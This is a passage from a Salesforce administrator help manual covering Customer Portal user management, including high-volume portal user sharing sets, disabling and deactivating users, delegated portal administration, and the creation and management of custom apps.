Are assigned to the High Volume Customer Portal or Authenticated Website license.
Only share the records they own with Salesforce users in the high-volume portal users sharing group.

Access to Records
High-volume portal users can access records if any of the following conditions are met:

They have Update access on the Account that they belong to.
They own the record.
They can access a record's parent, and the organization-wide sharing setting for that record is Controlled by Parent.
The organization-wide sharing setting for the object is Public Read Only or Public Read/Write.
The record is the account or contact under which they are enabled.

Administrators can create sharing sets to grant high-volume portal users additional access to records; see Granting High-Volume
Portal Users (Service Cloud Portal Users) Access to Records on page 1703.
Limitations

High-volume portal users can't manually share records they own or have access to.
You can't transfer cases from non-high-volume portal users to high-volume portal users.
High-volume portal users can't own accounts.
You can't add case teams to cases owned by high-volume portal users.
You can't include high-volume portal users in:

Personal groups or public groups.


Sharing rules.
Account teams, sales teams, or case teams.
Salesforce CRM Content libraries.

These limitations also apply to records owned by high-volume portal users.


You can't assign high-volume portal users to territories.

See Also:
Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

1702

Customer Portal

About Customer Portal User Management

Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant high-volume portal users access to records:

Customize Application

You can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to records based on their
profiles. A sharing set allows high-volume portal users to access any record that has a lookup field to an account or contact
that matches the user's account or contact.
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. In the Sharing Settings for High-Volume Portal Users related list, click New to create a sharing set, or click Edit next to
an existing sharing set.
3. In the Sharing Set Edit page, enter a name and description.
4. Select the profiles of the users you want to have access.
5. Select the objects you want to grant access to.
The Available Objects list excludes:

Objects with an organization-wide sharing setting of Public Read/Write


Custom objects that aren't specified as available for Customer Portal
Custom objects that don't have an account or contact lookup field

6. In the Configure Access section, click Set Up or Edit next to an object name to configure access for the selected profiles,
or click Del to remove access settings for an object.
Note: Objects with Set Up in the Action column aren't configured for high-volume portal user access. Until you
configure an object, high-volume portal users have limited or no access to its records. For more information on
access, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1702.
7. Grant access based on an account or contact lookup:

Select All records where the high-volume portal user's account matches to give high-volume
portal users access to all records associated with their accounts. For example, choosing this option for cases would give
users access to all cases associated with their accounts.
Select Only records where the high-volume portal user's contact matches to give high-volume
portal users access only to the records that are associated with their contacts. For example, choosing this option for
cases would give users access only to the cases that they filed, or cases that were filed on their behalf by a support
representative.
Note: One of these options may be unavailable if the object doesn't contain the relevant fields.

8. Choose an access level of Read Only or Read/Write. (If the object's organization-wide sharing setting is Public Read Only,
then only Read/Write is available.)
9. Click Update, then click Save.

1703

Customer Portal

About Customer Portal User Management

Your settings apply to all of your organization's Customer Portals or sites.

See Also:
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users)
Working with Customer Portal Users
Viewing Sharing Sets for High-Volume Portal Users (Service Cloud Portal Users)
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To grant high-volume portal users access to records:

Customize Application

Administrators can create sharing sets to grant high-volume portal users (Service Cloud portal users) access to objects based
on their profiles. To view detailed information about a sharing set:
1. Click Your Name > Setup > Customize > Customer Portal > Settings.
2. In the Sharing Settings for High-Volume Portal Users related list, click the name of a sharing set.
The Sharing Set detail page shows the profiles included and the access granted to objects in the set. On this page, you can do
any of the following:

To edit the sharing set, click Edit.


To remove the sharing set, click Delete.
To view the details of an included profile, click its name.
To change or remove access settings for an object, click the Edit or Del link next to the object name.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users)
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

1704

Customer Portal

About Customer Portal User Management

Sharing Records Owned by High-Volume Portal Users (Service Cloud Portal Users) to Salesforce Users
Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To share records owned by high-volume portal users to
Salesforce users:

Customize Application

High-volume portal users (Service Cloud portal users) are limited-access portal users intended for organizations with many
thousands to millions of portal users. Unlike other portal users, high-volume portal users don't have roles, which eliminates
performance issues associated with role hierarchy calculations. Because high-volume portal users are not in the role hierarchy
while Salesforce users are, a share group allows you to specify the Salesforce users who can access records owned by high-volume
portal users. Each Customer Portal has its own share group.
To specify the Salesforce users who can access records owned by high-volume portal users:
1.
2.
3.
4.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Click the name of a Customer Portal.
Click the Share Group Settings subtab.
Click Activate to turn on the share group.
Activating the share group can take a while. An email is sent to you when the process finishes.
Note: Deactivating a share group removes all Salesforce users' access to records owned by high-volume portal
users. An email isn't sent to you when the deactivation process finishes.

5. Click Edit to add Salesforce users to the share group:


a.
b.
c.
d.

From the Search drop-down list, select the type of member to add.
If you don't see the member you want to add, enter keywords in the search box and click Find.
Select members from the Available Members box, and click Add to add them to the group.
Click Save.

See Also:
About High-Volume Portal Users (Service Cloud Portal Users)
Working with Customer Portal Users
About Customer Portal User Management
Configuring User Access to the Customer Portal

1705

Customer Portal

Working with Customer Portal Users

Roles Per Customer Portal Account


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To set the number of roles per portal account:

Customize Application

You can set the default number of roles for Customer Portal accounts. This benefits your customer portal by reducing the
number of unused roles for Customer Portal accounts. You must have a Customer Portal enabled to use this functionality.
For example, if you currently have three roles created when an account is enabled for your Customer Portal, but only need
one role for new accounts, you can reduce the number of roles to one. You can set up to three roles for Customer Portal
accounts. The default number of roles for Customer Portal accounts is three.
To set the number of roles per Customer Portal account:
1.
2.
3.
4.
5.

Click Your Name > Setup > Customize > Customer Portal > Settings.
Click Set number of roles per Portal Account.
Click Edit.
In the Number of Roles drop-down list, set your default number of roles per Customer Portal account.
Click Save.

The number of roles for existing portal accounts doesn't change with this setting.

Working with Customer Portal Users


Available in: Enterprise, Unlimited, and Developer Editions

Note: The Service Cloud Portal is the Customer Portal intended for many thousands to millions of users. Service
Cloud portal users are also referred to as high-volume portal users. See About High-Volume Portal Users (Service Cloud
Portal Users) on page 1702.
Some common tasks when managing Customer Portal users include:

Setting up the Customer Portal for users


Enabling Customer Portal users individually from the Contacts tab
Disabling and deactivating Customer Portal users
Changing Customer Portal users' information and roles
Changing Customer Portal users' accounts
Merging Customer Portal users
Resetting Customer Portal users' passwords
Viewing Customer Portal users' user licenses
Granting high-volume portal users access to object's records

1706

Customer Portal

Working with Customer Portal Users

Sharing high-volume portal users' records with Salesforce users


Managing Customer Portal users' permissions and access settings
Assigning profiles to a Customer Portal
Delegating Customer Portal user management and case and contact management to portal users
Reporting on Customer Portal users
Tip: To troubleshoot issues for Customer Portal users, click Work with Portal and choose Login As Portal User on
the portal user's contact detail page. This selection opens a new browser window and automatically logs you into the
portal as the portal user. This option also ensures that the portal is configured appropriately.
The Login As Portal User button is only available if you have the Edit Self-Service Users permission and Edit
access on the account. The Login As Portal User button does not display for inactive portal users.

See Also:
About Customer Portal User Management
Configuring User Access to the Customer Portal
About High-Volume Portal Users (Service Cloud Portal Users)
Granting High-Volume Portal Users (Service Cloud Portal Users) Access to Records

Editing Customer Portal User Information


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users:

Edit Self-Service Users

To manage profiles and permission sets:

Manage Users

To create, edit, and delete page layouts:

Customize Application

To set field-level security:

Customize Application

To set sharing rules:

Manage Users

You can edit Salesforce Customer Portal user information for contacts associated with accounts you have permission to access.
To edit information for a Customer Portal user:
1. Click Your Name > Setup > Manage Users > Users.
2. Click Edit next to a users name.
3. Change the necessary information and click Save.
Tips for Editing Customer Portal User Information
Consider the following when editing Customer Portal user information:

1707

Customer Portal

Working with Customer Portal Users

You can create a custom list view to display only Customer Portal users by filtering on the Customer Portal Manager
license type, Customer Portal User license type, or both. For example, use the criteria License Type equals Customer
Portal User, Customer Portal Manager.
When generating a new password for a user, the new password is automatically sent to the users email address and email
verification is not enforced.
You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal users so
that when they log in to your portal they receive a welcome message with their name, plus the ability to change their own
portal username, password, locale, language, time zone, and contact information. When portal users change information
about themselves their user record is updated but their contact record is not automatically updated with those changes.

See Also:
About Customer Portal User Management
Disabling and Deactivating Portal Users

Disabling and Deactivating Portal Users


Customer Portal is available in: Enterprise, Unlimited, and Developer Editions
Partner Portal is available in: Enterprise and Unlimited Editions

User Permissions Needed


To disable or deactivate Customer Portal users:

Edit on the account associated with the Customer Portal


user
AND
Edit Self-Service Users

To disable or deactivate partner portal users:

Edit on the account associated with the partner portal user


AND
Manage Partners

There are two ways in which you can remove a customer's access to your Salesforce Customer Portal or partner portal. As
described in detail below, disabling a portal user is permanent, while deactivating a portal user is not:
Disabling a portal user
Disabling a portal user includes the following actions:

Termination of the user's access to your portal


Removal from all groups, teams, and sharing rules with which the user is associated.
Permanent loss of the portal user's association with the contact
If you later re-enable a contact for portal access, a new portal user is created that is not related to the previous portal
user record in any way.

1708

Customer Portal

Working with Customer Portal Users

For partner users, the partner user role becomes obsolete. As a result:
The users data no longer roles up to the partner account owner role
Opportunities owned by that user are removed from your organization's forecast hierarchy
Note: Before disabling a partner user, we recommend transferring opportunities owned by that user to
an active user.

We recommend disabling a portal user if:

A contact was accidentally enabled as a portal user


The portal user is associated with a duplicate contact
You do not want a contact to access the portal in the future
Note:

You can't disable high-volume portal users.


Salesforce doesn't delete user records, including portal user records. While you can't re-enable a disabled
portal user, you can view and update the record for a disabled user by clicking Your Name > Setup > Manage
Users > Users.

Deactivating a portal user


Deactivating a portal user prevents that user from logging into your portal and gives you the option to remove the user
from any teams in which he or she is a member (for example, case teams and account teams). When you deactivate a
portal user, the portal user record does not permanently lose its association with the contact. You can reactivate the portal
user at any time.
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams that user is a member of.

We recommend deactivating a portal user if you may reactivate the portal user in the future.
If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case
Access) and is deactivated, the access will default to Read Only if the user is reactivated.
Disabling a Portal User
To disable a portal user:
1. On the contact detail page, click Work with Portal and choose either Disable Customer Portal User or Disable Partner
User. On the account detail page of a person account, click Work with Portal and choose Disable Customer Portal
Account.
Person accounts are not available for the partner portal.
2. Click OK.
Deactivating a Portal User
To deactivate a portal user:

1709

Customer Portal

Working with Customer Portal Users

1. For the Customer Portal, click Work with Portal and choose View Customer Portal User on the contact or person account
detail page. For the partner portal, click Work with Portal and choose View Partner User on the contact detail page.
Person accounts are not available for the partner portal.
2. Click Edit, and deselect the Active checkbox.
To reactivate a portal user at any time, select the Active checkbox.
3. Click Save.
Tips on Disabling and Deactivating Portal Users
Consider the following when disabling or deactivating portal users (disabling is permanent; deactivating is not):

You can't delete an active portal user; you can only disable or deactivate his or her access to the portal.
The following table describes whether you can delete contacts that are associated with portal users:
State of Portal User Associated to Contact

Can You Delete the Contact?

Active portal user

No. This is to ensure that the contact is available if you


choose to reactivate the portal user.

Inactive portal user

No. This is to ensure that the contact is available if you


choose to reactivate the portal user.

Disabled portal user

Yes. Deleted contacts are sent to the Recycle Bin.

To delete a portal-enabled contact, first disable the portal user, then delete the contact.
Cases associated with a portal user are not updated in any way when you disable or deactivate the portal user. For example,
if a portal user owns a case, and the portal user is disabled, he or she remains the owner of the case until the case is updated
with a new owner.
Before you disable a partner user, we recommend that you transfer any opportunities owned by the user to another user
who will remain active. This is because when you disable a partner user, any opportunities he or she owns are removed
from your organization's forecast hierarchy (the partner user's role becomes obsolete).
After you disable a portal user, it may take Salesforce up to ten seconds to disable the user. During that time, a portal user
may still perform actions on a portal.
You can remove the Disable Customer Portal and Disable Partner User buttons from contact page layouts at any time.
Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from disabling portal
users.
A disabled or deactivated portal user does not count against your organization's available user licenses. However, disabling
or deactivating a portal user does not reduce the number of licenses for which your organization is billed; you must change
your organization's license count to change your billing. See Adding or Subtracting User Licenses on page 3507.
To disable all portal users associated with an account and permanently delete all of the account's portal roles and groups:
Click Work with Portal and choose Disable Partner Account on a partner portal account.
Click Work with Portal and choose Disable Customer Portal Account on a Customer Portal account or Customer
Portal person account.
You can remove the Disable Customer Portal Account and Disable Partner Account buttons from account page layouts
at any time. Doing so would prevent users with the Edit Self-Service Users or Manage Partners permissions from
disabling portal accounts.

When you disable a portal user or portal account, the change is tracked in the setup audit trail.
Portal roles are not removed from disabled portal users associated with person accounts. However, you can remove the
portal roles manually:

1710

Customer Portal

1.
2.
3.
4.
5.

Working with Customer Portal Users

Click Your Name > Setup > Manage Users > Users.
Select the name of a disabled portal user.
Click Edit.
Select None from the Role drop-down list.
Click Save.

See Also:
Creating Partner Users
Enabling the Customer Portal for Contacts and Person Accounts

Resetting Customer Portal User Passwords


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To reset Customer Portal users' passwords:

Edit Self-Service Users

If a Salesforce Customer Portal user loses his or her password, the user can click the Forgot your password? link on the
Customer Portal login page to have a new password emailed to him or her.
To reset a Customer Portal user's password:
1. Click Your Name > Setup > Manage Users > Users.
2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check
the box in the column header to select all rows.
3. Click Reset Password to have a new password emailed to the user.
Tip: You can include the Customer Portal Welcome component on home page layouts assigned to Customer Portal
users. Each Customer Portal user who logs in to your portal receives a welcome message with his or her name. The
users can also change their own portal username, password, locale, language, time zone, and contact information.
When portal users change information about themselves their user records are updated but their contact records arent
automatically updated with those changes. For more information about defining home page components and assigning
home page layouts, see Customizing Home Tab Page Layouts on page 1299.

See Also:
About Customer Portal User Management

1711

Customer Portal

Working with Customer Portal Users

Delegating Customer Portal User Administration and Portal Super User


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage Customer Portal users:

Delegated Portal User Administrator

To create, edit, and delete profiles:

Manage Users

To view and edit all cases and contacts for an account:

Portal Super User

You can delegate some administrative rights to Customer Portal users with the Customer Portal Manager Custom user license.
Delegated Customer Portal user administrators can do the following for users associated with their own account:

Create new Customer Portal users


Edit existing Customer Portal users
Reset passwords for Customer Portal users
Deactivate existing Customer Portal users
Note: When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the
option to remove the portal user from any teams that user is a member of.

Delegated Customer Portal user administrators can also view their account's detail page, along with contacts and cases related
to their account via the Accounts tab. In addition, delegated Customer Portal user administrators receive the Portal Super
User permission. This permission lets delegated Customer Portal user administrators do the following for their own account:

View and edit all cases


Create cases for contacts
View and edit all contacts, whether portal enabled or not
View account details when they're the contact on a case
Report on all contacts, whether portal enabled or not, if the Reports tab is added to your Customer Portal and the user
has the Run Reports permission

You can add just the Portal Super User permission to the profiles of portal users (except for high-volume portal users) so
that they have access to their account and can view and edit all of its cases and contacts without having the ability to manage
other portal users. However, portal super users can't view the Contacts tab on the Customer Portal without the Delegated
Portal User Administrator permission. To edit contacts, portal super users must select a contact from a case record. For more
information, see:

Delegating Customer Portal User Administration Rights


Providing Users with the Portal Super User Permission
Tips on Setting Up Delegated Customer Portal User Administration

1712

Customer Portal

Working with Customer Portal Users

Delegating Customer Portal User Administration Rights


Note: You must use the original profile user interface to delegate administration rights for Customer Portal users. If
you're using the enhanced profile user interface, disable it temporarily in the User Interface settings to complete this
procedure.
To delegate Customer Portal User Administration Rights:
1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile.
You can't add delegation rights or the Portal Super User permission to the standard Customer Portal Manager, Customer
Portal User, or High Volume Customer Portal profiles.
2. Click Edit.
3. Select Delegated Portal User Administrator.
When you select Delegated Portal User Administrator, the Portal Super User is automatically selected after you click
Save.
4.
5.
6.
7.

Click Save.
In the Delegated Portal Profiles related list, click Edit.
Select the Customer Portal profiles you want users with this profile to be able to administer.
Click Save.

To change which profiles a delegated Customer Portal user administrator can edit:
1.
2.
3.
4.

Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile.
Click Edit in the Delegated Portal User Profiles related list.
Select the Customer Portal user profiles you want this profile to be able to administer.
Click Save.

Delegated Customer Portal administrators can perform the following tasks from a contact's detail page:

Click Enable Customer Portal User to allow a contact to use a Customer Portal.
Click View Customer Portal User to view the Customer Portal user's details. From a Customer Portal user's detail page,
delegated Customer Portal users can:
Click Edit to edit a Customer Portal user's details.
Click Reset Password to reset the Customer Portal user's password.
Click Edit and deselect the Active checkbox to deactivate the user.

Providing Users with the Portal Super User Permission


To provide users with the Portal Super User permission:
1. Click Your Name > Setup > Manage Users > Profiles and click a custom Customer Portal profile.
You can't add the Portal Super User permission to the standard Customer Portal Manager, Customer Portal User, or
High Volume Customer Portal profiles.
2. Click Edit.
3. Select Portal Super User.
4. Click Save.
Tip: To report on profiles with the Portal Super User permission:
1. Note the names of profiles with the Portal Super User permission.
2. Select the Reports tab.

1713

Customer Portal

Working with Customer Portal Users

3. From the Administrative Reports folder, select the All Active Users report.
For more information, see Administrative Reports on page 3021.

Tips on Setting Up Delegated Customer Portal User Administration


Consider the following when setting up delegated Customer Portal User Administration:

On the profile of users you are granting delegated portal administration:


Add the Create and Edit permissions on contacts so that delegated portal administrators and users with the Portal
Super User permission can create and update contacts related to their account.
Set the Accounts and Contacts tab settings to Default On so that delegated portal administrators can view the Accounts
and Contacts tabs and easily manage contacts related to their accounts.

For more information on working with profiles, see User Profiles Overview on page 521.
Add the Accounts and Contacts tabs to your Customer Portal. See Customizing Your Customer Portal Tabs on page 1681.
Set field-level security and page layouts so that delegated Customer Portal user administrators and portal super users can
only access the account, contact, and case fields you specify. See Field-Level Security Overview on page 663 and Managing
Page Layouts on page 1276.
Note: To allow portal super users to create cases for contacts other than themselves, set the field-level security on
the Contact Name field on cases to Editable.

Customer Portal users are prevented from viewing related lists to objects they don't have access to. For example, if a
Customer Portal user views a contact, and the contact page layout includes the Opportunities related list, the portal user
can't view the Opportunities related list because portal users don't have access to opportunities.
Delegated Customer Portal user administrators can update portal users on any account to which they are transferred.
You can set account sharing rules to extend delegated Customer Portal user administrators' access beyond their own
accounts. See Sharing Rules Overview on page 637.

See Also:
About Customer Portal User Management

1714

BUILDING AND EXTENDING APPS

App Setup Overview


The available setup options vary according to which Salesforce Edition you have.

The App Setup page, accessed by clicking Your Name > Setup > App Setup, contains options to customize Salesforce, and
build, deploy, and manage applications.
The sidebar includes tools for browsing and searching setup options.
Customize
Customize the standard tabs and types of records, including adding custom fields and setting page layouts. You can also
customize search, tagging, and user interface options for your organization.
Create
Use point-and-click tools to customize Salesforce and build your own applications to meet the needs of your business.
These tools do not require any programming knowledge.
Develop
Use Salesforce development tools to customize Salesforce and build your own applications. These tools may require some
programming knowledge.
Deploy
Monitor the deployments of setup configuration from Force.com IDE, Force.com Migration Tool, and other clients.
Note: Force.com IDE is a resource provided by salesforce.com to support its users and partners, but is not
considered part of our Services for purposes of the salesforce.com Master Subscription Agreement.

Schema Builder
Schema builder provides a drag-and-drop interface that lets you add new custom objects, fields, and relationships to
your schema.
Installed Packages
View and manage the packages that have been installed from AppExchange.
AppExchange Marketplace on page 2229
Browse and search AppExchange.
Critical Updates
Control when critical updates are enabled in your organization.

1715

Create

App Builder Tools Overview

CREATE
App Builder Tools Overview
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

The platform includes innovative point-and-click app builder tools that give you the power to customize Salesforce to meet
the needs of your business. You can also build your own applications to share and store information that is important to you.
These tools do not require any programming knowledge. Click Your Name > Setup > Create to access the following options.
Apps
Build your own applications by defining groups of standard and custom tabs.
Custom Labels
Create custom text values that can be used in multilingual apps.
Interaction Log Layouts
Create notes that appear on records when using the Service Cloud console. Available in Enterprise, Unlimited, and
Developer Editions only.
Objects
Create custom data and custom related lists to store and display information unique to your organization.
Packages
Create collections of items such as apps, objects, workflow rules, or email templates, and upload them on Force.com
AppExchange to be shared with others.
Report Types
Available in Professional, Enterprise, Unlimited, and Developer Editions only. Create custom report types so that your
users have more power and flexibility while building custom reports.
Tabs
Create tabs to display and edit the data in your custom objects or embed web content and applications within the user
interface.
Workflow and Approvals
Available in Enterprise, Unlimited, and Developer Editions only. Create automated business processes that send email
alerts, assign tasks, update fields, and set outbound messages to external services.

1716

Create

Force.com Home Page Overview

The platform also includes app builder tools that require some programming knowledge. Tools that require advanced
programming knowledge are located at Your Name > Setup > Develop.

See Also:
App Setup Overview

Force.com Home Page Overview


Available in: All Editions except Database.com

User Permissions Needed


To access the Force.com Home page:

Customize Application

The Force.com Home page contains options for building and managing applications.
To access the Force.com Home page, click Your Name > Setup. To return to this page from other setup pages, click Force.com
Home in the Setup menu.

In the left pane, use the Setup menu to access all setup actions. The Setup menu includes tools for browsing and searching
setup options.
The Getting Started box contains a tool for generating a basic app in a single step, and links to information about extending
and managing apps. This box doesn't appear if you've previously dismissed it.
Recent Items ListBeta
Note:
This release contains a beta version of the Recent Items list that is production-quality but has known limitations.
The Recent Items box displays the following recent metadata items youve viewed, edited, or created, and their related
objects.

Apex classes
Apex triggers
Apps
Fields
Objects
Page layouts
Permission sets
Profiles
Static resources
Tabs
Users
Validation rules
Visualforce pages

1717

Create

What is an App?

Visualforce components
Note: The Recent Items list on the Force.com Home page is independent of the Recent Items section in the
sidebar column of most Salesforce pages. The Recent Items list on the Force.com Home page displays items used
by administrators, while the Recent Items section in the sidebar column displays records that end users have worked
with.

The System Overview messages box displays messages to remind you when your organization reaches its usage limits. The
System Overview messages box is not enabled by default. See Configuring Force.com System Overview Messages to enable
system overview messages on the Force.com Home page.
The Quick Links box provides links for managing tools, users, apps, security and data.
The Community box showcases available resources. This box doesn't appear if you've previously dismissed it. It reappears
with each new release; click Dismiss to hide it again.
The right pane includes external links that are useful for developers and administrators.

What is an App?
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

An app is a group of tabs that works as a unit to provide application functionality. Salesforce provides standard apps such
as Sales and Call Center. You can customize the standard apps to match the way you work.
You can also build your own on-demand apps by grouping standard and custom tabs into new custom apps. A custom app
consists of a label, a description, and an ordered list of tabs. You can also set custom logos for your custom apps. With custom
apps, you can extend the kinds of information that you manage and share online beyond CRM. Custom apps are part of the
Force.com platform that allows you to create and share custom applications with other Salesforce users. For information about
sharing apps that you have built, see Overview of Packages on page 1937.
Your available custom apps are listed in the Force.com app menu, which is a drop-down list that displays at the top of every
Salesforce page. When you choose an app from the Force.com app menu, your screen changes to reflect the contents of that
app. For example, if you switch from an app that contains the Opportunities tab to another app that does not, the Opportunities
tab disappears, and the Opportunity option no longer appears in the Create New drop-down list in the sidebar. In addition,
the app might display a different initial or default landing tab when selected.
Apps are associated with profiles. Profiles control which tabs you can see or hide, as well as which apps are available to you.
You can personalize the tabs in your apps as much as your profile allows. For more information, refer to Customizing Your
Display on page 42.
Note:

Service Cloud console apps are custom apps. See Service Cloud Console Overview on page 3312.

1718

Create

Creating Custom Apps

For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed
in the Force.com app menu. For details about specifying a unique label for the Platform standard app, see Creating
Custom Apps on page 1719.

See Also:
Creating Custom Apps
Managing Apps
Overview of User Permissions and Access
Overview of Packages
Managing Packages

Creating Custom Apps


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

Create custom apps to build applications for your users. See Salesforce Editions and Limits on page 2076 for the total number
of custom apps you can define.
Note: If you're new to Force.com apps, we recommend using Force.com quick start to create an app. With this tool,
you can generate a basic working app in just one step.
To create custom apps:
1. Click Your Name > Setup > Create > Apps.
2. Click New.
3. If the Service Cloud console is available, select whether you want to define a custom app or a Service Cloud console.
To continue defining a Service Cloud console app, see Creating a Service Cloud Console App on page 1523.
4. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
5. Optionally, enter a description of the app.
6. Click Next.
7. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:

The image must be in GIF or JPEG format and less than 20 KB in size.
If the image is larger than 300 pixels wide by 55 pixels high, then it will be scaled to fit.
For the best on-screen display, we recommend you use an image with a transparent background.

1719

Create

Creating Apps with App Quick Start

The Externally Available checkbox must be selected on the document's properties so that users can view the
image.

8. Click Next.
9. Click the left and right arrow buttons to add or remove tabs from the app.
10. Click the up and down arrow buttons to define the order in which the tabs will display in the app.
11. Optionally, set the default landing tab for your new app using the Default Landing Tab drop-down menu below the list
of selected tabs. This determines the first tab a user sees when logging into this app.
12. For Professional Edition users, click Save to finish the wizard. For Enterprise or Developer Edition users, click Next.
13. Check the Visible box to choose the user profiles for which the app will be available.
14. Check the Default box to set the app as that profiles default app. This means that new users who have the profile will
see this app when they log in for the first time. Profiles with limits are excluded from this list.
15. Click Save to finish the wizard.

See Also:
Managing Apps
What is an App?
Removing Apps

Creating Apps with App Quick Start


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create apps:

Customize Application and Manage Users

App quick start is a fast way to create a basic working app in just one step.
1. Click Your Name > Setup > Create > Apps, and click Quick Start. Alternatively, from the Force.com Home page, click
Add App under Getting Started, or App Quick Start under Quick Links.
2. Enter the information needed for your app.
Field Name

Description

App Label

The app's name that appears in the Force.com app menu. The label can have a maximum of
40 characters, including spaces.

Plural Label

The plural name of the object. This name appears on the tab.

Singular Label

A name used to refer to the object in any user interface pages.

Gender

If it's appropriate for your organizations default language, specify the gender of the label. This
field appears if the organization-wide default language expects gender.

Starts with a vowel sound If it's appropriate for your organizations default language, enable this option if your label
should be preceded by an instead of a.

1720

Create

Creating Apps with App Quick Start

3. Click Create.
4. On the Youre All Set! page, click here to add new fields to your app.
5. To see your app as it will appear to users, click Go To My App.
The app quick start:

Generates an app label and API name (a unique name that's used to refer to the object when using the Force.com API).
Generates an object label and API name.
Generates a tab label, and associates the tab with the object.
Enables feed tracking for the object. Feed tracking lets people follow records of that object type and see Chatter feed
updates.
Enables access to the app and tab in your user profile. Any users who have the Modify All Data permission can also
access the object.
Generates a permission set that grants access to the new custom object.
Assigns the permission set to the user who creates the app.

Once you've created an app, you can extend it with more components, specify access settings, and add users to your organization.

See Also:
App Quick Start: Next Steps for Building and Managing Apps
Managing Custom Objects
Managing Custom Tabs
Managing Apps
Customizing Chatter Feed Tracking
Removing Apps

App Quick Start: Next Steps for Building and Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create objects, tabs, fields, and validation rules:

Customize Application

To create users and profiles:

Manage Users

Once you've created a basic working app with app quick start, you'll want to build out the app with more objects and fields,
define its access settings, and add users to share your app with them.
1. Build out your app with the basic components used in apps.

Create objects, which are custom database tables that allow you to store information specific to your app.
Create tabs that are associated with the objects you've created.
For each object, create fields to store the information that's important to your organization.
Create validation rules, which verify that the data users enter meets the standards you specify before they save a record.

1721

Create

Managing Apps

For quick shortcuts to these tools, use the Force.com quick access menu, which is available from object list view pages and
record detail pages.
2. Create user profiles or permission sets. These are collections of settings and permissions that determine what users can do
in an app.
3. Specify the types of access that users will have to the app.
a. Make your app visible using profiles or permission sets.
b. Make your object tabs visible.
c. Set the object permissions for the objects you created.
4. Add users to your organization. When adding users, be sure to assign them the appropriate profiles or permission sets you
created so they can access your app.
These are the basic steps for building and managing an app. As you explore the Force.com platform, you'll find even more
ways to build, manage, and deploy apps.

See Also:
Creating Apps with App Quick Start

Managing Apps
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

You can customize the standard and custom apps in your organization. Click Your Name > Setup > Create > Apps to display
a list of your organizations apps.

To view details for an app, click the app name. This displays the properties of the app, such as which tabs are part of the
app, including any tabs that are not yet deployed. Click on custom tabs in the Included Tabs list to view details.
To change the properties of an app, click Edit.
To remove a custom app, click Del. Standard apps cannot be deleted.
To create an app, do one of the following:
If you're new to Force.com apps, click Quick Start. With this option, you generate a basic working app in one simple
step.
If you've already created the objects, tabs, and fields you need for your app, click New. With this option, you create an
app label and logo, add tabs, and assign the app to profiles.

To change the order of apps in the Force.com app menu, click Reorder.

1722

Create

Managing Apps

For Salesforce Platform and Salesforce Platform One license users, the Platform standard app is the only app listed in the
Force.com app menu.

See Also:
What is an App?
Overview of Packages

Using the Force.com Quick Access Menu


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view the Force.com quick access menu:

Customize Application

The Force.com quick access menu offers handy shortcuts to customization features.
When you're working on apps or objects, use this menu to jump to relevant app customization features. It's available from
object list view pages and record detail pages.
Note: The Force.com quick access menu isn't visible for list views on accounts, contacts and custom objects if
drag-and-drop scheduling on list views is enabled.

To expand or collapse the menu, click (or press ALT+;).


To scroll down the list of the menu, press TAB.
To select an option on the menu, press ENTER.
To remove the menu from all list views and record pages, click Turn off menu.
To restore the menu, click Your Name > Setup > My Personal Information > Personal Information. On the user detail
page, click Edit, select Force.com Quick Access Menu, then click Save.

See Also:
What is an App?
What is a Custom Object?
What is a Custom Tab?

1723

Create

Managing Apps

Editing App Properties


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view apps:

View Setup and Configuration

To manage apps:

Customize Application

You can change the properties of the standard and custom apps in your organization. For example, you can specify a custom
logo for a custom app, or you can specify which tabs are available in a standard or custom app. Note that you cannot change
the label, description, or logo for a standard app.
To edit the properties of an app:
1. Click Your Name > Setup > Create > Apps.
2. Click Edit next to the app you want to modify.
3. Specify a label for the app. The label can have a maximum of 40 characters, including spaces. This label is the app's name
in the Force.com app menu.
4. Optionally, enter a description of the app.
5. Optionally, specify a custom logo for the app. Click Insert an image to choose an image file from the document library.
Consider these requirements when choosing a custom app logo from the document library:

